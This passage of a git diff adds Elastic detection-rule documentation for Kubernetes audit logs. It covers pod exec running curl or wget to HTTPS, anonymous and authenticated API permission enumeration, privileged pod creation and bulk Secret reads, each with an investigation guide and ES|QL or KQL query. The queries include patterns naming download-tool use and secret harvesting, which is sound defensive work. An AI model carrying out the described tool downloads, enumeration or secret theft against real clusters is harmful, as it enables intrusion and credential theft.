HTTPS—activity that should be rare compared to shells, debuggers, or expected health checks. The rule decodes the audit requestURI, reconstructs a readable command string from repeated command parameters, and applies noise filters for common cluster health and OIDC/JWKS endpoints so benign automation is less likely to alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1609/ +* https://attack.mitre.org/techniques/T1105/ + +*Tags*: + +* Data Source: Kubernetes +* Data Source: Kubernetes API Server Audit Logs +* Domain: Kubernetes +* Platform: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: ES|QL +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Pod Exec with Curl or Wget to HTTPS* + + +Kubernetes audit logs record exec (and similar attach) calls on requestURI, including URL-encoded +command segments. This rule URL-decodes the URI, extracts the query portion into a single string, and +flags curl or wget combined with https, excluding several common health, localhost, and OIDC/JWKS patterns. + + +*Possible investigation steps* + + +- Confirm who may exec into the target namespace: review kubernetes.audit.user.username, groups, impersonation, and + source.ip / user_agent.original (kubectl, CI, webhooks). +- Map the pod (kubernetes.audit.objectRef.name) and workload owner; retrieve the decoded URI from + Esql.decoded_uri and the reconstructed Esql.executed_command in the alert. +- Search for adjacent audit events from the same identity: secret reads, additional execs, RBAC changes, or anonymous + access. +- If malicious, revoke credentials used for exec, review RoleBindings for **`pods/exec`**, and inspect the pod + filesystem or snapshot for dropped artifacts. + + +*False positive analysis* + + +- Approved runbooks or support sessions may use kubectl exec with curl/wget to test egress or download vendor tools; + document break-glass identities and tune exclusions. +- Some cluster components use HTTPS to **kubernetes.default.svc** or **.well-known** endpoints; the rule attempts to + filter those—expand the exclusion list if your platform uses additional first-party URLs. + + +*Response and remediation* + + +- Rotate any secrets accessible from the pod, cordon or delete the workload if compromised, and tighten RBAC so only + required principals retain **`pods/exec`** on sensitive namespaces. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-kubernetes.audit_logs-* metadata _id, _index, _version +| WHERE kubernetes.audit.objectRef.subresource == "exec" + AND kubernetes.audit.requestURI LIKE "*command=*" +| EVAL Esql.decoded_uri = URL_DECODE(kubernetes.audit.requestURI) +| GROK Esql.decoded_uri "%{DATA}/exec\\?%{DATA:raw_commands}&(?:container|stdin|stdout|stderr)=%{GREEDYDATA}" +| EVAL command = REPLACE(raw_commands, "command=", "") +| EVAL command = REPLACE(command, "&", " ") +| EVAL Esql.executed_command = REPLACE(command, "\\+", " ") +| WHERE Esql.executed_command IS NOT NULL + AND Esql.executed_command RLIKE """.*(curl.*https|wget.*https).*""" + AND NOT Esql.executed_command RLIKE """.*(/api/v1/health|/healthz|/readyz|/livez|127\.0\.0\.1|localhost|/openid/v1/jwks|/openid-connect/certs|/.well-known/openid-configuration|/.well-known/jwks\.json|kubernetes\.default\.svc).*""" +| KEEP Esql.*, user.name, user_agent.original, event.*, source.ip, kubernetes.audit.*, _id, _version, _index, data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-potential-endpoint-permission-enumeration-attempt-by-anonymous-user-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-potential-endpoint-permission-enumeration-attempt-by-anonymous-user-detected.asciidoc new file mode 100644 index 0000000000..82d79f4e24 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-potential-endpoint-permission-enumeration-attempt-by-anonymous-user-detected.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-kubernetes-potential-endpoint-permission-enumeration-attempt-by-anonymous-user-detected]] +=== Kubernetes Potential Endpoint Permission Enumeration Attempt by Anonymous User Detected + +This rule detects potential endpoint enumeration attempts by an anonymous user. An anonymous user is a user that is not authenticated or authorized to access the Kubernetes API server. By looking for a series of failed API requests, on multiple endpoints, and a limited number of documents, this rule can detect automated permission enumeration attempts. This behavior is uncommon for regular Kubernetes clusters. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#unauthenticated-api-access + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Potential Endpoint Permission Enumeration Attempt by Anonymous User Detected* + + +This detects a burst of Kubernetes API requests from an unauthenticated identity that probes many different endpoints and resource types, producing mostly forbidden/unauthorized/not found responses within a small window. It matters because this pattern maps the cluster’s exposed surface and reveals which APIs might be reachable before an attacker commits to credential theft or exploitation. A common usage pattern is scripted GET/LIST sweeps across core and custom resources (for example pods, secrets, namespaces, and CRDs) from one source IP and user agent. + + +*Possible investigation steps* + + +- Review the specific request URIs and resource types queried and their sequence to fingerprint common reconnaissance tooling and whether high-value endpoints (e.g., secrets, tokenreviews, subjectaccessreviews, CRDs) were probed. +- Determine whether the apparent source IP is internal or Internet-routable and confirm the true originating client by correlating load balancer/ingress/firewall logs (including X-Forwarded-For) with the audit event timestamps. +- Validate Kubernetes API server authentication/authorization posture during the window to identify misconfiguration that permits anonymous access and confirm whether any requests returned successful responses that indicate real data exposure. +- Hunt for follow-on activity from the same origin or user agent such as authenticated requests, service account token usage, RBAC/ClusterRoleBinding changes, pod exec, or secret/configmap reads to assess escalation beyond discovery. +- If the API endpoint is publicly reachable, apply immediate containment by restricting network access to the API server (allowlisting, VPN/private endpoint, temporary IP blocks) while preserving relevant audit and network logs for forensics. + + +*False positive analysis* + + +- Misconfigured or transitional API server authentication (e.g., anonymous auth briefly enabled or a failing authn proxy/fronting component) can cause legitimate clients to appear as `system:anonymous` and generate multiple 401/403/404 responses across several endpoints during normal cluster access attempts. +- Internal cluster health checks or component discovery behavior that hits multiple API paths without presenting credentials (or uses requests that the audit log records with empty/null usernames) can resemble enumeration when it produces a short burst of failed requests across diverse resources from a single source IP and user agent. + + +*Response and remediation* + + +- Immediately restrict Kubernetes API server network exposure by allowlisting known admin/VPN IPs and temporarily blocking the observed source IP(s) and user agent at the load balancer/firewall while preserving audit logs and reverse-proxy access logs for the timeframe. +- Eradicate the anonymous access path by disabling anonymous authentication on the API server, fixing any misconfigured auth proxy that forwards unauthenticated traffic, and removing any RBAC bindings that grant permissions to `system:anonymous` or `system:unauthenticated`. +- Validate whether any requests from the same source returned successful responses (especially reads of secrets/configmaps, tokenreviews/subjectaccessreviews, or CRDs) and, if so, rotate impacted service account tokens and credentials and perform a targeted review of recently issued tokens and new ClusterRoleBindings. +- Recover by re-enabling API access in a controlled manner (private endpoint/VPN, bastion, or mTLS), confirming expected kubectl and controller functionality, and monitoring for renewed bursts of failed requests across many request URIs from unauthenticated identities. +- Escalate to the incident response lead and platform security team if any anonymous request succeeded, if the probing repeats from multiple external IPs, or if follow-on activity appears (new privileged RBAC, pod exec, or secret reads) within 24 hours of the enumeration attempt. +- Harden by enforcing least-privilege RBAC, enabling and retaining full audit logging for authn/authz failures, applying API server rate limits/WAF rules for repeated 401/403/404 sweeps, and continuously validating that the API endpoint is not publicly reachable. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-kubernetes.audit_logs-* metadata _id, _index, _version +| where ( + kubernetes.audit.user.username in ("system:anonymous", "system:unauthenticated") or + kubernetes.audit.user.username is null or + kubernetes.audit.user.username == "" + ) and + kubernetes.audit.level in ("RequestResponse", "ResponseComplete", "Request") + +| eval Esql.decision = `kubernetes.audit.annotations.authorization_k8s_io/decision` +| eval Esql.code = kubernetes.audit.responseStatus.code + +| eval Esql.outcome = case( + Esql.decision == "allow", "authz_allow", + Esql.decision == "forbid", "authz_forbid", + + // fallback: infer from status when decision is missing + Esql.code in (401, 403), "authn_authz_failed", + (Esql.code >= 200 and Esql.code < 300), "success", + Esql.code == 404, "not_found", + Esql.code is null, "unknown", + true, "other_error" + ) + +| stats + Esql.document_count = count(), + + Esql.authz_allow_count = sum(case(Esql.outcome == "authz_allow", 1, 0)), + Esql.authz_forbid_count = sum(case(Esql.outcome == "authz_forbid", 1, 0)), + + Esql.status_fail_count = sum(case(Esql.outcome == "authn_authz_failed", 1, 0)), + Esql.success_count = sum(case(Esql.outcome == "success", 1, 0)), + Esql.not_found_count = sum(case(Esql.outcome == "not_found", 1, 0)), + Esql.other_error_count = sum(case(Esql.outcome == "other_error", 1, 0)), + Esql.unknown_count = sum(case(Esql.outcome == "unknown", 1, 0)), + + Esql.kubernetes_audit_verb_count_distinct = count_distinct(kubernetes.audit.verb), + Esql.kubernetes_audit_requestURI_count_distinct = count_distinct(kubernetes.audit.requestURI), + Esql.kubernetes_audit_objectRef_resource_count_distinct = count_distinct(kubernetes.audit.objectRef.resource), + + Esql.kubernetes_audit_outcome_values = values(Esql.outcome), + Esql.kubernetes_audit_decision_values = values(Esql.decision), + Esql.kubernetes_audit_responseStatus_code_values = values(Esql.code), + Esql.kubernetes_audit_responseStatus_message_values = values(kubernetes.audit.responseStatus.message), + + Esql.kubernetes_audit_verb_values = values(kubernetes.audit.verb), + Esql.kubernetes_audit_objectRef_resource_values = values(kubernetes.audit.objectRef.resource), + Esql.kubernetes_audit_objectRef_namespace_values = values(kubernetes.audit.objectRef.namespace), + Esql.kubernetes_audit_user_username_values = values(kubernetes.audit.user.username), + Esql.kubernetes_audit_user_groups_values = values(kubernetes.audit.user.groups), + Esql.kubernetes_audit_requestURI_values = values(kubernetes.audit.requestURI), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + BY kubernetes.audit.sourceIPs, user_agent.original + +| where + Esql.kubernetes_audit_requestURI_count_distinct > 5 and + Esql.kubernetes_audit_objectRef_resource_count_distinct > 3 and + Esql.document_count < 50 and + (Esql.authz_forbid_count >= 1 or Esql.status_fail_count >= 1 or Esql.not_found_count >= 3) + +| keep Esql.*, kubernetes.audit.sourceIPs, user_agent.original + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-potential-endpoint-permission-enumeration-attempt-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-potential-endpoint-permission-enumeration-attempt-detected.asciidoc new file mode 100644 index 0000000000..7949d6adc4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-potential-endpoint-permission-enumeration-attempt-detected.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-kubernetes-potential-endpoint-permission-enumeration-attempt-detected]] +=== Kubernetes Potential Endpoint Permission Enumeration Attempt Detected + +This rule detects potential endpoint enumeration attempts by a single user and source IP address. By looking for a combination of failed/successful API requests across multiple endpoints and a limited number of documents, this rule can detect automated permission enumeration attempts. This behavior is uncommon for regular Kubernetes clusters. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#unauthenticated-api-access + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Potential Endpoint Permission Enumeration Attempt Detected* + + +Detects a single Kubernetes identity from one IP issuing a burst of API calls across many resources and URLs with a mix of allowed and denied outcomes, consistent with automated RBAC probing rather than normal operations. This matters because attackers use it to map what they can access and identify high-value objects (secrets, pods, nodes) before escalation or lateral movement. A common pattern is running a script that iterates list/get/watch on dozens of API endpoints until it finds ones that return data. + + +*Possible investigation steps* + + +- Expand the timeline around the alert for the same identity and source to reconstruct the full API-call sequence and identify which resource types returned successful data, prioritizing secrets, configmaps, nodes, pods, and RBAC objects. +- Determine whether the source IP maps to a cluster node, pod egress/NAT, VPN, or an external host using infrastructure and network telemetry, and confirm it matches expected administrative or automation origins. +- Validate whether the acting identity is a human user, service account, or external auth integration and review recent sign-ins/token issuance and current RBAC bindings for unexpected or overly broad access. +- Hunt for follow-on actions from the same identity or IP that indicate escalation or execution, such as modifying role bindings, creating privileged pods, accessing secret data, or initiating exec/port-forward operations. +- If the activity is not clearly legitimate, contain by rotating or disabling the credential and tightening permissions, then search for the same enumeration behavior across other identities and sources to scope impact. + + +*False positive analysis* + + +- A cluster administrator or platform engineer using kubectl from a single workstation/VPN IP to troubleshoot RBAC issues may rapidly test get/list/watch across multiple resources and endpoints, producing a mix of allowed and forbidden responses within a short window. +- A newly deployed or updated in-cluster component using a service account may probe several Kubernetes API resources during initialization or capability detection and encounter intermittent authorization denials due to incomplete RBAC bindings, generating diverse requestURIs/resources with both success and failure outcomes. + + +*Response and remediation* + + +- Quarantine the actor by disabling the implicated user or service account (revoke kubeconfig/token and delete associated Secrets for service-account tokens) and, if the source IP is external, block it at the API server ingress/load balancer while preserving access for known admin networks. +- Eradicate the access path by rotating any credentials the identity could have used (OIDC refresh tokens, client certs, static kubeconfigs) and removing unexpected RBAC RoleBindings/ClusterRoleBindings or groups that grant broad read access discovered during review. +- Validate impact and recover by reviewing what endpoints returned successful data during the burst (especially secrets, configmaps, nodes, pods, and RBAC objects), rotating any exposed application secrets, and restarting affected workloads after credential updates. +- Escalate immediately to incident response if the same identity subsequently creates/patches RBAC bindings, deploys privileged pods/daemonsets, performs exec/port-forward, or accesses secret data across multiple namespaces. +- Harden by enforcing least-privilege RBAC for humans and service accounts, segmenting API access with network controls (private endpoint/VPN allowlists), and enabling short-lived tokens with regular rotation plus alerting on repeated mixed allow/deny probing across many resources. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-kubernetes.audit_logs-* metadata _id, _index, _version +| where kubernetes.audit.stage == "ResponseComplete" and kubernetes.audit.verb in ("get", "list", "watch", "create", "update", "patch") +| stats + Esql.document_count = count(), + Esql.kubernetes_audit_annotations_authorization_k8s_io_decision_count_distinct = count_distinct(`kubernetes.audit.annotations.authorization_k8s_io/decision`), + Esql.kubernetes_audit_verb_count_distinct = count_distinct(kubernetes.audit.verb), + Esql.kubernetes_audit_requestURI_count_distinct = count_distinct(kubernetes.audit.requestURI), + Esql.kubernetes_audit_objectRef_resource_count_distinct = count_distinct(kubernetes.audit.objectRef.resource), + + Esql.kubernetes_audit_responseStatus_message_values = values(kubernetes.audit.responseStatus.message), + Esql.kubernetes_audit_verb_values = values(kubernetes.audit.verb), + Esql.kubernetes_audit_responseStatus_code_values = values(kubernetes.audit.responseStatus.code), + Esql.kubernetes_audit_objectRef_resource_values = values(kubernetes.audit.objectRef.resource), + Esql.kubernetes_audit_objectRef_namespace_values = values(kubernetes.audit.objectRef.namespace), + Esql.kubernetes_audit_user_username_values = values(kubernetes.audit.user.username), + Esql.kubernetes_audit_user_groups_values = values(kubernetes.audit.user.groups), + Esql.kubernetes_audit_requestURI_values = values(kubernetes.audit.requestURI), + Esql.user_agent_original_values = values(user_agent.original), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by kubernetes.audit.user.username, kubernetes.audit.sourceIPs +| where + Esql.kubernetes_audit_annotations_authorization_k8s_io_decision_count_distinct == 2 and + Esql.kubernetes_audit_requestURI_count_distinct > 5 and + Esql.kubernetes_audit_objectRef_resource_count_distinct > 3 and + Esql.document_count < 75 +| keep Esql.*, kubernetes.audit.user.username, kubernetes.audit.sourceIPs + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-privileged-pod-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-privileged-pod-created.asciidoc new file mode 100644 index 0000000000..557e0869f8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-privileged-pod-created.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-34-kubernetes-privileged-pod-created]] +=== Kubernetes Privileged Pod Created + +This rule detects when a user creates a pod/container running in privileged mode. A highly privileged container has access to the node's resources and breaks the isolation between containers. If compromised, an attacker can use the privileged container to gain access to the underlying host. Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/1/CTR_KUBERNETES%20HARDENING%20GUIDANCE.PDF +* https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Privileged Pod Created* + + +Kubernetes allows for the creation of privileged pods, which can access the host's resources, breaking container isolation. Adversaries may exploit this to escalate privileges, access sensitive data, or establish persistence. The detection rule identifies such events by monitoring audit logs for pod creation with privileged settings, excluding known safe images, to flag potential security threats. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the user or service account responsible for creating the privileged pod by examining the `kubernetes.audit.annotations.authorization_k8s_io/decision` and `kubernetes.audit.verb:create` fields. +- Investigate the context of the privileged pod creation by checking the `kubernetes.audit.requestObject.spec.containers.image` field to determine if the image used is known or potentially malicious. +- Assess the necessity and legitimacy of the privileged pod by consulting with the relevant development or operations teams to understand if there was a valid reason for its creation. +- Examine the `kubernetes.audit.objectRef.resource:pods` field to identify the specific pod and its associated namespace, and verify if it aligns with expected deployment patterns or environments. +- Check for any subsequent suspicious activities or anomalies in the Kubernetes environment that may indicate further exploitation attempts, such as lateral movement or data exfiltration, following the creation of the privileged pod. + + +*False positive analysis* + + +- Known safe images like "docker.elastic.co/beats/elastic-agent:8.4.0" are already excluded from triggering alerts. Ensure that any additional internal or third-party images that are verified as safe are added to the exclusion list to prevent unnecessary alerts. +- Development and testing environments often use privileged pods for legitimate purposes. Consider creating separate rules or exceptions for these environments to avoid false positives while maintaining security in production. +- Automated deployment tools or scripts might create privileged pods as part of their normal operation. Review these tools and, if they are deemed safe, add their specific actions or images to the exclusion list. +- Regularly review and update the exclusion list to reflect changes in your environment, such as new safe images or changes in deployment practices, to maintain an accurate detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected node to prevent further exploitation and lateral movement within the cluster. This can be done by cordoning and draining the node to stop new pods from being scheduled and to safely evict existing pods. +- Terminate the privileged pod to stop any ongoing malicious activity. Ensure that the termination is logged for further analysis. +- Conduct a thorough review of the audit logs to identify any unauthorized access or actions taken by the privileged pod. Focus on any attempts to access sensitive data or escalate privileges. +- Reset credentials and access tokens that may have been exposed or compromised due to the privileged pod's access to the host's resources. +- Patch and update the Kubernetes environment and any affected nodes to address vulnerabilities that may have been exploited to create the privileged pod. +- Implement network segmentation and firewall rules to limit the communication capabilities of pods, especially those with elevated privileges, to reduce the risk of lateral movement. +- Escalate the incident to the security operations team for a comprehensive investigation and to assess the need for further security measures or incident response actions. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:pods and kubernetes.audit.verb:create and kubernetes.audit.requestObject.spec.containers.securityContext.privileged:true and +not kubernetes.audit.requestObject.spec.containers.image: ( + *amazonaws.com/betsie/pipeline/pipeline-core* or mirror.gcr.io/aquasec/trivy* or rancher/mirrored-longhornio-longhorn-instance-manager* or quay.io/calico* or + rancher/system-agent* or openebs/m-exporter* or openebs/cstor-istgt* or ghcr.io/kubereboot/kured* or registry.k8s.io/sig-storage/csi-node-driver-registrar* or + registry.k8s.io/csi-secrets-store* or registry.gitlab.com/gitlab-org/gitlab-runner/gitlab-runner-helper* or sonarsource/sonar-scanner-cli* or + rancher/mirrored-longhornio-longhorn-engine* or jenkins/inbound-agent* or mcr.microsoft.com/oss/v2/kubernetes-csi* or registry.k8s.io/dns/k8s-dns-node-cache* or + *amazonaws.com/eks/kube-proxy* or *amazonaws.com/eks/aws-efs-csi-driver* or *amazonaws.com/eks/livenessprobe* or *amazonaws.com/amazon-k8s-cni* or + *amazonaws.com/amazon/aws-network-policy-agent* or mcr.microsoft.com/oss/kubernetes-csi* or openebs/node-disk-manager* or openebs/node-disk-exporter* or + mcr.microsoft.com/oss/kubernetes/kube-proxy* or public.ecr.aws/eks-distro/kubernetes-csi/livenessprobe* or public.ecr.aws/eks-distro/kubernetes-csi/external-provisioner* or + amazon/aws-efs-csi-driver* or registry.k8s.io/kube-proxy* or registry.crowdstrike.com/falcon-sensor* or *octopus-deploy/tentacle* or */sysdig/* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-rapid-secret-get-activity-against-multiple-objects.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-rapid-secret-get-activity-against-multiple-objects.asciidoc new file mode 100644 index 0000000000..a524161b5d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-rapid-secret-get-activity-against-multiple-objects.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-kubernetes-rapid-secret-get-activity-against-multiple-objects]] +=== Kubernetes Rapid Secret GET Activity Against Multiple Objects + +This rule detects an unusual volume of Kubernetes API get requests against multiple distinct Secret objects from the same client fingerprint (user, source IP, and user agent) within a defined lookback window. This can indicate credential access or in-cluster reconnaissance, where a user or token is used to enumerate and retrieve sensitive data such as service account tokens, registry credentials, TLS material, or application configuration. Failed get requests are also included, as they may reveal RBAC boundaries, confirm the existence of targeted secrets, or reflect automated probing activity. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: ES|QL +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Rapid Secret GET Activity Against Multiple Objects* + + +This rule surfaces clusters of `get` operations on the `secrets` API where the same identity and client path +(`user.name`, `source.ip`, `user_agent.original`) touch several different secret names within the rule lookback window. +**Allowed and denied** outcomes are included: successful reads may indicate harvesting; repeated **forbidden** or +**unauthorized** responses can still signal reconnaissance, RBAC probing, or scripted spray against secret names that +exist in the cluster. + + +*Investigation steps* + + +- Inspect `Esql.outcome` for a mix of allow vs deny and whether failures cluster on sensitive namespaces. +- Map the identity to RBAC and namespace scope; review `Esql.secrets_names` and `Esql.namespaces` for high-value + targets (tokens, registry credentials, TLS bundles, application secrets). +- Pivot on the same `source.ip` and user for follow-on API activity (exec, pod create, role changes, broad `list` on secrets). +- Validate against expected automation (CI, GitOps, backup, in-cluster controllers) before treating as malicious. + + +*False positives* + + +- Startup, Helm, or controllers may legitimately touch many secrets in one window; tune by user, namespace, or IP + allowlists when baselined. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-kubernetes.audit_logs-* metadata _id, _index, _version +| where event.dataset == "kubernetes.audit_logs" + and event.action == "get" + and kubernetes.audit.objectRef.resource == "secrets" + and source.ip is not null and user.name is not null + and not to_string(source.ip) in ("127.0.0.1", "::1") and + not user.name in ("system:kube-controller-manager", "system:kube-scheduler") and + not kubernetes.audit.objectRef.name like "sh.helm.release.*" and + not kubernetes.audit.user.username in ("system:serviceaccount:flux-system:kustomize-controller", "system:serviceaccount:flux-system:helm-controller", "system:serviceaccount:flux-system:source-controller", "system:serviceaccount:security:trivy-operator") +| stats + Esql.unique_credentials = count_distinct(kubernetes.audit.objectRef.name), + Esql.secrets_names = values(kubernetes.audit.objectRef.name), + Esql.namespaces = values(kubernetes.audit.objectRef.namespace), + Esql.outcome = values(`kubernetes.audit.annotations.authorization_k8s_io/decision`) + by user.name, kubernetes.audit.user.username, source.ip, user_agent.original +| where Esql.unique_credentials >= 3 +| KEEP user.name, kubernetes.audit.user.username, source.ip, user_agent.original, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-rbac-wildcard-elevation-on-existing-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-rbac-wildcard-elevation-on-existing-role.asciidoc new file mode 100644 index 0000000000..143e681182 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-rbac-wildcard-elevation-on-existing-role.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-34-kubernetes-rbac-wildcard-elevation-on-existing-role]] +=== Kubernetes RBAC Wildcard Elevation on Existing 